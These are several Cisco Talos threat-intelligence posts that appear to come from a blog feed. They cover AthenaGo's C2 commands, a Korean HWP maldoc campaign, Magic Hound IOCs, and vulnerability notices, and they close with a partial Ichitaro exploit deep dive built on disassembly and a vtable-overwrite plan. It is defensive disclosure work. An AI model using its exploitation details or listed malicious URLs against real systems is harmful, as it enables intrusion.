The Athena HTTP/IRC bot has been around for several years now. It is designed to perform various types of DDoS attacks against target environments, conduct pay-per-install (PPI) fraud, etc. An early version of the Athena source code was leaked online. This malware does not appear to be part of the same malware family, and does not appear to share the same functionality.

One of the most interesting elements of this malware is the fact that it was written using the Go programming language. While AthenaGo is not the first malware written in Go, Windows-based malware written in Go is uncommon compared to other programming languages. Go adds a lot of information to compiled binaries. This information makes analysis easier as it allows analysts to identify the functionality available within the malware by reviewing this information. Analysis of the malicious binary and associated artifacts provided information about most of the functionality present within the Go samples we analyzed.
Figure 3: Binary Artifacts

Interestingly, the username specified in the path to the source files matched the author field present within the malicious Word documents used to distribute the downloader for this malware.
Figure 4: Office Document Metadata

C2 Communications


While analyzing the C2 communications associated with AthenaGo, we identified two hardcoded domains within the malware that it reaches out to post-infection. They both utilize Tor2Web which is a project that allows access to resources on the Tor network without requiring the requesting client system to be on the Tor network. Tor2Web servers act as proxies and allow clients to access servers hosting content on Tor without requiring the installation of a local Tor client application. This approach has shown to be increasingly attractive to cybercriminals. The use of Tor2Web and Tor in general allows them to stay anonymous. It also makes it much more difficult to remove malicious content being hosted on servers within Tor, as it is difficult to identify where a Tor server is hosted physically. Historically Tor2Web has been utilized by ransomware payment systems, however we are now seeing it increasingly used for malware distribution and post-infection C2 communications.

During the initial infection process, the malware generates public and private RSA keys which are used during communications with C2 infrastructure. Below is pseudocode that demonstrates this process:
Figure 5: Pseudocode Example

After generating the RSA keys, the malware makes two HTTP HEAD requests to the C2 servers, which are hardcoded into the binary. Whichever server it is able to successfully establish communications with first becomes the active C2 server. The hard coded domains used by the malware leverage Tor2Web. This enables the malware authors to take advantage of the benefits provided by Tor without requiring them to package Tor functionality with their malware.
Figure 6: Example HTTP HEAD Request

The two domains hardcoded into the binary are athenabeicoxjr2l[.]onion[.]to and athenabeicoxjr2l[.]onion[.]link. If the malware is unable to reach either of the hard coded domains, it will sleep for four seconds and then reattempt the connection establishment process. The malware also uses canihazip[.]com to determine the external IP address associated with infected systems.

Once the malware has successfully established communications with a C2 server, it then uses an HTTP POST request to /helo to transmit the RSA public key that was previously generated along with basic survey information about the infected system. The server then returns a response containing a cryptographic key generated using AES.
Figure 7: Example HELO POST

The request body of above HTTP POST request is encrypted, and uses the following format:
Figure 8: HELO POST Format

Regardless of whether or not the HTTP POST request to /helo is successful, the malware will immediately generate another HTTP POST request, this time to /init. The contents of this request are encrypted using RSA encryption for the data parameter and AES encryption for the id parameter. The id parameter contains additional survey information about the infected system and is formatted in JSON.
Figure 9: Example INIT POST

The JSON format of the additional survey data being sent to the C2 server is as follows:
{"Os":"<os type:<Windows>","Os_ver":"<os version>","Username":"<username and domain>","Hostname":"<system hostname>"}
If the HTTP POST request to /init was successful, the malware then sends an HTTP GET request to /cmd which also contains the same basic survey information about the infected system. This appears to be a request for a command to be issued by the attacker controlling the C2 infrastructure associated with this malware. The malware expects the C2 server to reply to the HTTP GET request with an HTTP response containing Base64 URL encoded data that is encrypted using AES-CBC and the last AES key that was provided by the C2 server during earlier communications. This data is also in JSON format and includes the following keys: signature, timestamp, cmd.

The following commands are available to the malware and instruct it how to operate once received from C2:
  • ListDir - This command returns a directory listing from the infected system.
  • ListProcesses - This command returns a list of processes running on the infected system.
  • KillProcess - This command causes the malware to execute the taskkill command against a target process running on the infected system.
  • DownloadFile - This command causes the malware to download a file and save it into a target location specified in the command parameters.
  • DLRUN - This command causes the malware to download a file, save it to %TEMP% and execute the downloaded file.
  • RunCMD - This command uses Go's os/exec package to execute system commands on the infected system.
For the aforementioned commands that require output to be returned to the C2 server, an HTTP POST request to /cmd will be generated and transmitted by the malware.

Conclusion


Malware authors will continue to evolve their attacks as they identify ways to effectively reduce their risk of being caught. This includes relying on C2 infrastructure hosted on Tor, making use of varying levels of encryption to protect the nature and content of network communications with their malware, and limiting their attacks to targeted attacks against specific targets or demographics. AthenaGo is an example of changes in the way malware is being written in an attempt to evade network defenses and successfully compromise target environments. Talos continues to monitor changes within the threat landscape to ensure that customers remain protected as these techniques evolve over time.

Indicators of Compromise (IOCs)

Domains:

athenabeicoxjr2l[.]onion[.]to
athenabeicoxjr2l[.]onion[.]link
teenhangout[.]tk

Maldocs:

518362bce6243d6040bbf6fc1840c42450eeb03b7d7b47b232c1569a92de7f91 (SHA256)
009f9f92b65b552ae195030ed48e787b249067aa26de3102718823807063afb5 (SHA256)

Binaries:

af385c983832273390bb8e72a9617e89becff2809a24a3c76646544375f21d14 (SHA256)
c32fb305903a22106c6d3def0ac6c05b4f16cba99e23527b6c61d617ea794b1d (SHA256)
72d87b225b83ffb4f9c1595a12e6d6e296895b4202cdece01b28bbac0d13b449 (SHA256)

Coverage

 

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella prevents DNS resolution of the domains associated with malicious activity.

Cisco Coverage for 'Ticketbleed'

$
0
0

Vulnerability Details


A vulnerability (CVE-2016-9244) was recently disclosed affecting various F5 products due to the way in which the products handle Session IDs when the non-default Session Tickets option is enabled. By manipulating the Session IDs provided to affected products, an attacker could potentially leak up to 31 bytes of uninitialized memory. This vulnerability can be used to retrieve potentially sensitive information from affected devices such as SSL session IDs from other sessions, or the contents of uninitialized memory.

It is important to note that the number of bytes returned in the Ticketbleed attack is small (up to 31 bytes). This means that it would likely take a significant number of requests to successfully obtain sensitive information. Also, it does not appear that an attacker could predict or control the contents of memory that are returned when exploiting this vulnerability. F5 has released a Knowledge Base article (K05121675) describing which products are affected as well as mitigation instructions.

A full technical report disclosing the details of this vulnerability can be found here.

Coverage


The following Snort IDs have been released to detect this threat: 41547, 41548

Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Vulnerability Spotlight: Apple Garage Band Out of Bounds Write Vulnerability

$
0
0
Discovered by Tyler Bohan of Cisco Talos

Overview

Talos is disclosing TALOS-2016-0262  (CVE-2017-2372) and TALOS-2017-0275 (CVE-2017-2374), an out of bounds write vulnerability in Apple GarageBand. GarageBand is a music creation program, allowing users to create and edit music easily and effectively from their Mac computer. GarageBand is installed by default on all Mac computers so there is a significant number of potential victims. This issue was partially resolved on 1/18/17 with a patch which addressed CVE-2017-2372, the patch released on 2/13/17 addressed CVE-2017-2374 resolving the issue.

This particular vulnerability is the result of the way the application parses the proprietary file format used for GarageBand files, .band. The format is broken into chunks with a specific length field for each. This length is controlled by the user and can be leveraged to expose an exploitable condition. This vulnerability could be exploited by a user opening a specially crafted .band file. The full details surrounding the vulnerability are available here and here.

Coverage


The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rules: 41350-41351

Cisco Coverage for 'Magic Hound'

$
0
0
'Magic Hound' is the code name used to reference a seemingly limited series of malware distribution campaigns that were observed targeting organizations in Saudi Arabia as well as organizations with business interests in Saudi Arabia. Similar to other malware distribution campaigns that Talos has observed and documented, this series of campaigns made use of phishing emails containing links to malicious Word documents hosted on attacker controlled servers. When opened, the malicious documents display a message instructing the user to enable macros in an attempt to entice recipients to execute the attacker's scripts and download additional malware, thus infecting their systems. Unlike some of the more sophisticated campaigns seen in the wild, in the case of 'Magic Hound' the attackers made use of commodity malware and tools. This included tools such as IRC bots and Metasploit Meterpreter payloads as well as an open source Remote Administration Tool (RAT).

Talos is aware of this targeted campaign and we have responded to ensure that customers remain protected from 'Magic Hound' as well as other similar campaigns as they are identified and change over time.

Coverage

Coverage for 'Magic Hound' is available through Cisco security products, services, and open source technologies. Note that as this threat evolves, new coverage may be developed and existing coverage adapted or modified. As a result, this post should not be considered authoritative. For the most current information, please refer to your FireSIGHT Management Center or Snort.org.

Snort Rules

  • 41655-41659

AMP Detection

  • W32.C21074F340.magichound.hunt.talos
  • W32.EA139A73F8.magichound.hunt.talos
  • W32.DA2ABDC951.magichound.hunt.talos
  • W32.0D3AE68286.magichound.hunt.talos
  • W32.F0ECC4388F.magichound.hunt.talos
  • W32.860F4CD443.magichound.hunt.talos
  • W32.B42B118621.magichound.hunt.talos
  • W32.4BEEE6E7AA.magichound.hunt.talos
  • W32.5E0E09C986.magichound.hunt.talos
  • W32.3161F9087D.magichound.hunt.talos
  • W32.B6C159CAD5.magichound.hunt.talos
  • W32.6A7537F2CE.magichound.hunt.talos
  • W32.16D87FBD86.magichound.hunt.talos
  • W32.92BC7D0444.magichound.hunt.talos
  • W32.86D3409C90.magichound.hunt.talos
  • W32.C3A8F51763.magichound.hunt.talos
  • W32.A390365DDF.magichound.hunt.talos
  • W32.D2FFC757A1.magichound.hunt.talos
  • W32.79C9894B50.magichound.hunt.talos
  • W32.2F7F358250.magichound.hunt.talos
  • W32.8C2E4AA8D7.magichound.hunt.talos
  • W32.ABE8E86B78.magichound.hunt.talos
  • W32.9E4D2E983F.magichound.hunt.talos
  • W32.E57F77CC3D.magichound.hunt.talos
  • W32.CA6E823DED.magichound.hunt.talos
  • W32.EAAECABB43.magichound.hunt.talos
  • W32.1C3E527E49.magichound.hunt.talos
  • W32.29A659FB0E.magichound.hunt.talos
  • W32.218FAC3D06.magichound.hunt.talos
  • W32.E5B643CB6E.magichound.hunt.talos
  • W32.71E584E7E1.magichound.hunt.talos
  • W32.388B26E22F.magichound.hunt.talos
  • W32.33EE8A57E1.magichound.hunt.talos
  • W32.5469FACC26.magichound.hunt.talos
  • W32.528714AAAA.magichound.hunt.talos
  • W32.66D24A5293.magichound.hunt.talos
  • W32.CFCE482710.magichound.hunt.talos
  • W32.68DB2B363A.magichound.hunt.talos
  • W32.E837F6B814.magichound.hunt.talos
  • W32.F912D40DE9.magichound.hunt.talos
  • W32.AF0AE0FA87.magichound.hunt.talos
  • W32.6D1A50CA3E.magichound.hunt.talos
  • W32.6C195EA18C.magichound.hunt.talos
  • W32.97943739CC.magichound.hunt.talos
  • W32.7E57E35F8F.magichound.hunt.talos
  • W32.DB453B8DE1.magichound.hunt.talos
  • W32.82779504D3.magichound.hunt.talos
  • W32.1C550DC73B.magichound.hunt.talos
  • W32.7CDBF5C035.magichound.hunt.talos
  • W32.B2EA3FCD2B.magichound.hunt.talos
  • W32.3F23972A0E.magichound.hunt.talos
  • W32.133959BE83.magichound.hunt.talos
  • W32.BA3560D3C7.magichound.hunt.talos
  • W32.D8731A94D1.magichound.hunt.talos
  • W32.D08D737FA5.magichound.hunt.talos

Domain/IP Address Detection

  • analytics-google[.]org
  • microsoftexplorerservices[.]cloud
  • msservice[.]site
  • service.chrome-up[.]date
  • service1.chrome-up[.]date
  • servicesystem.serveirc[.]com
  • syn.timezone[.]live
  • timezone[.]live
  • www.microsoftsubsystem.com-adm[.]in
  • www1.chrome-up[.]date
  • www3.chrome-up[.]date
  • www5.chrome-up[.]date
  • www7.chrome-up[.]date
  • 104.218.120[.]128
  • 104.238.184[.]252
  • 139.59.46[.]154
  • 45.56.123[.]129
  • 45.58.37[.]142
  • 45.76.128[.]165
  • 69.87.223[.]26
  • 89.107.60[.]11
  • 89.107.62[.]39
 

    Other Mitigation Strategies

    'Magic Hound' is an attackers continuing to make use of phishing emails and social engineering in an attempt to gain a foothold into organizations' networks. It also highlights the need for a comprehensive strategy to combat spam and phishing emails as well as a security awareness program. Links contained within emails from unknown or unverified sources should never be accessed.

    Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

    CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

    Email Security can block malicious emails sent by threat actors as part of their campaign.

    The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.

    AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

    Umbrella prevents DNS resolution of the domains associated with malicious activity.




    Vulnerability Spoltlight: Multiple Vulnerabilities in the Aerospike NoSQL Database Server

    $
    0
    0
    Vulnerabilities discovered by Talos

    Talos is releasing multiple vulnerabilities discovered in the Aerospike Database Server. These vulnerabilities range from Denial of Service to potential remote code execution. This software is used by various companies that require a high performance NoSQL database. These issues have been addressed in version 3.11.1.1 of the Aerospike Database software. 

    The Aerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media. 

    TALOS-2016-0263 (CVE-2016-9049) - Aerospike Database Server  Fabric_Worker Socket-Loop Denial-of-Service Vulnerability
    TALOS-2016-0265 (CVE-2016-9051) - Aerospike Database Server Client Batch Request Code Execution Vulnerability
    TALOS-2016-0267 (CVE-2016-9053) - Aerospike Database Server RW Fabric Message Particle Type Code Execution Vulnerability


    Details


    Denial-of-Service Vulnerability


    TALOS-2016-0263 is a DoS vulnerability that exists in the fabric-worker component of the of the Aerospike Database Server. A specially crafted packet can cause the server process to dereference a null pointer. An attacker can simply connect to a TCP port in order to trigger this vulnerability.

    Code Execution Vulnerabilities


    TALOS-2016-0265 impacts the batch transaction field parsing functionality of the Aerospike Database server. Utilizing a specially crafted packet, an attacker can exploit an out-of-bounds write which causes memory corruption that can lead to remote code execution. The attacker simply needs to connect to the listening port and send the crafted packet to trigger this vulnerability.

    TALOS-2016-0267 relates to an out-of-bounds indexing vulnerability in the RW fabric message particle type of the Aerospike Database Server. A specially crafted packet can cause the server to fetch a function table outside the bounds of an array that can result in remote code execution. Simply connecting to the listening port, an attacker can trigger this vulnerability.

    Tested Version


    Aerospike Database Server 3.10.0.3

    Coverage


    The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org.


    Snort Rules: 41209, 41213 & 41219

    Korean MalDoc Drops Evil New Years Presents

    $
    0
    0
    This blog was authored by Warren Mercer and Paul Rascagneres.


    Executive Summary


    Talos has investigated a targeted malware campaign against South Korean users. The campaign was active between November 2016 and January 2017, targeting a limited number of people. The infection vector is a Hangul Word Processor document (HWP), a popular alternative to Microsoft Office for South Korean users developed by Hancom.

    The malicious document in question is written in Korean with the following title:

    5170101-17년_북한_신년사_분석.hwp (translation: 5170101-17 __ North Korea _ New Year _ analysis .hwp)
    This document was alleged to be written by the Korean Ministry of Unification and included their logo as a footer on the document.

    An interesting twist also came within the analysed malicious document as it attempts to download a file from an official Korean government website: kgls.or.kr (Korean Government Legal Service). The file downloaded is a binary masquerading as a jpeg file that is later executed as part of the infection. It's likely that the website was compromised by the attackers to try and legitimise the HTTP GET attempts for the final payload, this traffic would potentially not have looked unfamiliar for any system administrators.

    The attackers' infrastructure appeared to be up for a few days at a time with no observed infrastructure re-use occurring. Unfortunately, the compromised sites were all either cleaned or removed by the attackers and Talos were unable to obtain the final payload. This level of operational security is common for sophisticated attackers.

    Due to these elements it's likely that this loader has been designed by a well-funded group in order to target public sector entities in South Korea. Many of these techniques fit the profile of campaigns previously associated with attacks by certain government groups.



    Infection Vector: Hangul Word Processor


    The infection vector identified by Talos is a HWP file. This is a fairly unusual choice as this software is rarely used outside of Korea, but it is known to be widely used within Korea, including use by the South Korean government. As a regional file format, many security devices are not equipped to process HWP files. This can allow an attacker a vector with a much lower risk of detection by any security scanning devices.

    Here is a screenshot of the opened document:


    The title of the document is "Analysis of "Northern New Year" in 2017". The logo at the bottom of the document in the logo of the Ministry Of Unification. This ministry is working towards the reunification of North & South Korea. The document describes information linked to the North Korean celebration of New Year.

    At the end of the document are 2 links to additional documents. The malicious document mentions that users should double click in order to access to these documents, Document1 is identified as "Comparison of Major Tasks in '16 & '17" and the Document2 linked is identified as "Comparison between '16 & '17"
    The links point to 2 OLE objects embedded in the document (BIN0003.OLE and BIN004.OLE):


    Once decompressed (zlib), we identified two PE32 files embedded within the 2 OLE files. If the targeted user double clicks on one of the links, a PE32 file is dropped and executed.

    The 2 dropped binaries will be found and executed in this location during our analysis:
    • C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe
    • C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe
    We can identify a JavaScript object in the document. This one does not contain malicious content, it's an object included by default.

    Here is the execution of the HWP file in Cisco AMP Thread Grid:


    Dropped files


    The compilation path of the binaries was not removed which allows us to determine the working space and environment used for this attack.

    e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb

    The two dropped malware files have a different hash but their purpose is the same:
    • Open a HWP document (to respond to the double click in the previous document)
    • Download a payload from a compromised host/C2.

    The opened document is embedded in the PE (in a resource named 'DOC'):

    Like the previous document, this one speaks of the relation between North Korea and South Korea, and is seemingly written by a native Korean speaker due to the specific language used.

    The second stage of the binary executes wscript.exe and injects shellcode into the process. The shellcode is embedded in a resource called 'BIN'. The purpose of this shellcode is to unpack a second PE32 in the legitimate wscript.exe process and execute it. The injection is perform by the classic:
    VirtualAllocEx(), WriteProcessMemory() and CreateRemoteThread() APIs.

    The unpacked binary is used to collect information on the infected system, and to attempt to communicate with the C2 in order to download the final payload. The information collected was:

    • The computer name
    • The username
    • The execution path of the sample
    • The BIOS model by analysing the HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData registry key. This information allows the attackers to identify Virtual Machine (on VirtualBox the model is "innotek GmbH VirtualBox")
    • An ID randomly generated to identify the system

    This information could be used as a reconnaissance phase to determine if there was a suitable platform to deliver the final payload and to avoid sending the final payload to sandbox systems.

    The analysed sample performed network connections to these 2 URLs in this order:

    • www.kgls.or.kr/news2/news_dir/index.php (where the collected information is sent)
    • www.kgls.or.kr/news2/news_dir/02BC6B26_put.jpg

    The beginning of the jpg document (02BC6B26) is the ID previously generated. We think that the jpg file is automatically generated by the index.php file if the collected data is relevant. The content of the jpg file is saved in a file called 'officepatch.exe'. Finally, this new file is executed and the unpacked executable terminates itself.

    The website kgls.or.kr is the web site of the Korean Government Legal Service. Talos can only assume that this website was compromised in order to deliver the final stage malware, the jpg file. All the infrastructure was down during our analysis, which meant we were unable to analyse the payload directly.

    The collected binaries are compiled between 22:43:05 UTC and 4:55:18 UTC (the 3 files at 22:00:00 are the binaries dropped by the HWP document and the other files are the unpacked payload) - Time Stamp artifacts can be easily faked and can be deployed as a false flag mechanism to make the researcher believe the compiled code came from a certain Time Zone - this should not be trusted as an indicator of where the attack or attacker originated from.


    Command & Control infrastructure


    During our investigation we were able to identify additional Command and Control infrastructure used by this actor. The four C2s were based in the following countries:
    • 3 C2 in South Korea
    • 1 C2 in the Netherlands
    Here is a global map of the identified infrastructure:


    Colour Key:
    • Red: the '_put.jpg' binary (final payload)
    • Orange: C2 infrastructure used by the attackers
    • Yellow: the unpacked samples that perform the connection to download the final malware (the green bubbles share 90% of similar codes)
    • Green: the dropped executable by the HWP document (the orange bubbles share 90% of similar codes)
    • Blue: the HWP document


    Conclusion


    This actor appears to have made intentional decisions to limit the attack surface by using Hangul. This allowed them to evade some security devices as this format is not frequently processed.

    The infection process was a MalDoc with multiple droppers (identical in their execution) and then C2 communication to obtain the final payload. The use of decoy documents is very common and shows that the attacker wanted to use a social engineering / enticement aspect to encourage the users to open the file.

    This campaign has clearly targeted at a specific group of users, this rings true with the use of such specific file formats. Steps were clearly taken to limit the ability of security products to detect the threat as well as adherence to a strict timeline to prevent the malicious files from being discovered. The attackers were careful to remove their malicious payloads and not re-use their infrastructure.

    We believe this is a targeted attack aimed at South Korean users in the public sector conducted by a sophisticated threat actor with access to native Korean speakers. Attacks on these individuals may be an attempt to gain a foothold into assets which can be deemed extremely valuable.

    IOC


    HWP File:

    5170101-17년_북한_신년사_분석.hwp: 281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919

    Dropped files:

    95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a
    7ebc9a1fd93525fc42277efbccecf5a0470a0affbc4cf6c3934933c4c1959eb1
    6c372f29615ce8ae2cdf257e9f2617870c74b321651e9219ea16847467f51c9f
    19e4c45c0cd992564532b89a4dc1f35c769133167dc20e40b2a41fccb881277b
    3a0fc4cc145eafe20129e9c53aac424e429597a58682605128b3656c3ab0a409
    7d8008028488edd26e665a3d4f70576cc02c237fffe5b8493842def528d6a1d8

    Unpack related samples:

    7e810cb159fab5baccee7e72708d97433d92ef6d3ef7d8b6926c2df481ccac2f
    21b098d721ea88bf237c08cdb5c619aa435046d9143bd4a2c4ec463dcf275cbe 761454dafba7e191587735c0dc5c6c8ab5b1fb87a0fa44bd046e8495a27850c7
    3d442c4457cf921b7a335c0d7276bea9472976dc31af94ea0e604e466596b4e8 930fce7272ede29833abbfb5df4e32eee9f15443542434d7a8363f7a7b2d1f00
    4b20883386665bd205ac50f34f7b6293747fd720d602e2bb3c270837a21291b4 f080f019073654acbe6b7ab735d3fd21f8942352895890d7e8b27fa488887d08

    Network:

    www.imuz.com/admin/data/bbs/review2/board/index.php
    www.imuz.com/admin/data/bbs/review2/board/123.php
    www.imuz.com/admin/data/bbs/review2/board/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)

    www.wildrush.co.kr/bbs/data/image/work/webproxy.php
    www.wildrush.co.kr/bbs/data/image/work/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)

    www.belasting-telefoon.nl//images/banners/temp/index.php
    www.belasting-telefoon.nl//images/banners/temp/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)

    www.kgls.or.kr/news2/news_dir/index.php
    www.kgls.or.kr/news2/news_dir/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)


    Coverage


    Additional ways our customers can detect and block this threat are listed below.

    Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

    CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

    Email Security can block malicious emails sent by threat actors as part of their campaign.

    The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

    AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

    Umbrella prevents DNS resolution of the domains associated with malicious activity.

    Vulnerability Spotlight: Multiple Ichitaro Office Vulnerabilities

    $
    0
    0
    These vulnerabilities were discovered by Cory Duplantis and another member of Cisco Talos

    Talos has discovered three vulnerabilities within the Ichitaro Office suite. Ichitaro is published by JustSystems and is considered one of the more popular word processors used within Japan. All three vulnerabilities reported lead to code execution. These issues were initially reported to the vendor in September and it took them until February 23rd to address these issues.


    TALOS-2016-0196 (CVE-2017-2789) - Ichitaro Office JTD Figure handling Code Execution Vulnerability
    TALOS-2016-0197 (CVE-2017-2790) - Ichitaro Office Excel File Code Execution Vulnerability
    TALOS-2016-0199 (CVE-2017-2791) - Ichitaro Word Processor PersistDirectory Code Execution Vulnerability

    For a detailed technical analysis of how these issues may be exploited in the wild please refer to the writeup here.


    Details


    TALOS-2016-0196


    Ichitaro's proprietary file format is a Compound Document similar to .doc for Microsoft Word called .jtd. When processing a Figure stream from a .jtd, the application will allocate space when parsing a Figure. When copying filedata into this buffer, the application will calculate two values to determine how much data to copy from the document. If both of these values are larger than the size of the buffer, the application will choose the smaller of the two and trust it to copy data from the file. If the amount of data copied is larger than the buffer size, this leads to a heap-based buffer overflow. This overflow corrupts an offset in the heap used in pointer arithmetic for writing data and can lead to code-execution under the context of the application. More details can be found here

    TALOS-2016-0197


    Ichitaro handles Microsoft Excel's .xls file format. When processing a record type of 0x3c from a Workbook stream from a .xls file, the application trusts that the size is greater than zero, subtracts one from the length, and uses this result as the size for a memcpy. This can be used to construct a file that when opened causes heap-based buffer overflow and can lead to code-execution under the context of the application. More details can be found here

    TALOS-2016-0199


    Ichitaro Office contains a vulnerability that exists when trying to open a specially crafted PowerPoint file. Due to the application incorrectly handling a function error case, the application uses this result in a pointer calculation for reading file data. This will result in the application reading data from the file into an invalid address thus corrupting memory. Under the right conditions this can lead to code execution under the context of the application. More details can be found here

    Tested Version


    JustSystems Ichitaro 2016

    Coverage


    The following Snort Rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org. Snort Rules: 41110-41111, 40125-40156 & 40490

    Vulnerability Deep Dive - Ichitaro Office Excel File Code Execution Vulnerability

    $
    0
    0
    This vulnerability was discovered by Cory Duplantis and another member of Cisco Talos


    Overview


    Vulnerabilities in word processing and office productivity suites are useful targets for exploitation by threat actors. Users frequently encounter file types used by these software suites in their day to day lives and may not question opening such files within an email or being prompted to download such a file from a website.

    Some word processing software is widely used within communities using a specific language, but poorly known elsewhere. For example, Hancom's Hangul Word Processor is widely used within South Korea and Ichitaro Office suite from JustSystems is widely used in Japan and Japanese speaking communities. Exploiting vulnerabilities in these and similar word processing systems allows attackers to target their attacks to a specific country or to the linguistic community of their intended victims. Presumably, attackers may believe that exploits against these systems may be less likely to be discovered by security researchers who may lack the necessary software which the vulnerability exploits.

    The recent discovery by Talos of a sophisticated attack exploiting Hangul Word Processor http://blog.talosintelligence.com/2017/02/korean-maldoc.html underlines the ability of attackers with the necessary technical skills to create malicious files that target local office productivity suite software.

    Talos has discovered three vulnerabilities within the Ichitaro Office suite, one of the most popular word processors used in Japan.

    We have no indication that any of the three vulnerabilities we discovered in Ichitaro Office suite, have been exploited in the wild. Nevertheless, all three lead to a state where arbitrary code can be executed. We have chosen one of these vulnerabilities to explain in more detail how such a vulnerability may be exploited and to demonstrate what remote code execution means by launching calc.exe as an example.

    The advisory for this particular vulnerability can be found here http://www.talosintelligence.com/reports/TALOS-2016-0197

    Deep Dive - TALOS-2016-0197 (CVE-2017-2790) - JustSystems Ichitaro Office Excel File Code Execution Vulnerability


    This vulnerability revolves around an unchecked integer underflow of the size of a record of type 0x3c within a Workbook stream in an XLS file handled by Ichitaro.

    While reading a Continue record (type 0x3c), the application calculates the number of bytes it needs to copy into memory. This calculation involves subtracting one from a value read from the file itself causing an integer underflow.
    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4b1e:
    44b48cda 8b461e mov eax,dword ptr [esi+1Eh] // File data from Continue Record
    44b48cdd 668b4802 mov cx,word ptr [eax+2] // Size from file (in our case 0)
    ...
    44b48ce4 6649 dec cx // Underflow the 0 to be 0xffff
    ...
    44b48ce8 894d08 mov dword ptr [ebp+8],ecx // Store the 0xffff for later use
    Later in the same function, this underflowed value is passed to the function handling the copying of file data.
    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4b46:
    44b48d04 0fb75508 movzx edx,word ptr [ebp+8] // Store 0xffff into edx
    ...
    44b48d1f 52 push edx // Push size
    44b48d20 51 push ecx // Push destination address
    44b48d21 83c005 add eax,5
    44b48d24 52 push edx // Push size
    44b48d25 50 push eax // Push source address
    44b48d26 e8c5f7ffff call JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334 (44b484f0)

    The main copy function does have a check to ensure that the size is greater than zero. The underflow value flies under the radar though and passes all checks. Below is the copy function commented with relevant variable names. Note, due to the same register being pushed in the above assembly, both size and size_ in the below C code are equivalent.
    int JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334(int src, int size, int dst, int size_)
    {
    int result;
    result = 0;
    if ( !size_ )
    return size;
    if ( size > size_ )
    return 0;
    if ( size > 0 )
    {
    result = size;
    do
    {
    *dst = *src++;
    ++dst;
    --size;
    }
    while ( size );
    }
    return result;
    }
    The dst address is an allocation with a size also from the file of the surrounding TxO record (type 0x1b6). This size is multiplied by 2 before being passed to a malloc.
    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4a1c:
    442c8bd8 668b470e mov ax,word ptr [edi+0Eh] // Size from TxO element
    442c8bdc 50 push eax
    442c8bdd e88b87f6ff call JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1 (4423136d)
    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1:
    4423136d 0fb7442404 movzx eax,word ptr [esp+4]
    44231372 d1e0 shl eax,1 // Attacker size * 2
    44231374 50 push eax
    44231375 ff1580d42f44 call ds:malloc // Controlled malloc
    4423137b 59 pop ecx
    4423137c c3 ret
    To recap, the vulnerability gives the following constructs to an attacker:

    * Memory allocation of a controlled value multiplied by 2
    * memcpy into the allocation of size 0xffff from attacker controlled file data

    Overwrite target


    If we wanted to exploit this vulnerability on Windows 7, the question is now, what is a good target to overwrite using the memcpy? One avenue could be attempting to overwrite the vtable of an object using virtual methods and so that way we can control the program counter using a user controlled pointer.

    In order for this to be feasible, our object needs to be created with the following parameters:

    * Object must be allocated with a predictable size into the heap's arena
    * Object must be using virtual methods and have a virtual method table (vtable).
    * Object must be destroyed after the overwrite happens.
    An XLS file is composed of multiple document streams, where each stream is separated into different records. Each record can be described as a Type-Length-Value (TLV) structure. This means that each record will specify its type in the first few bytes, followed by the length of the record, followed by the number of bytes specified in the size describing the data which is contained within the record.

    A small diagram is shown below:
    +------+--------+------------+
    | Type | Length | Value |
    +------+--------+------------+
    struct Record {
    uint16_t type;
    uint16_t length;
    byte[length] value;
    }
    As an example, a record of type 0x3c that will contain the value of 0xdeadbeef would look like the following (length is 4 due to 0xdeadbeef being 4 bytes).

    +--------+--------+------------+
    |Type | Len | Value |
    +--------+--------+------------+
    | 0x003c | 0x0004 | 0xdeadbeef |
    +--------+--------+------------+

    <class excel.RecordGeneral>
    [0] <instance uint2 'type'> +0x003c (60)
    [2] <instance uint2 'length'> +0x0004 (4)
    [4] <instance Continue 'data'> "\xad\xde\xed\xfe"
    The parser would then iterate through all the records in the stream and then parse each record based on the type and value described by the record. Due to our third constraint for our target record, we want a type that creates some object with a vtable during parsing, but doesn't free that object until some point after parsing the entire stream.

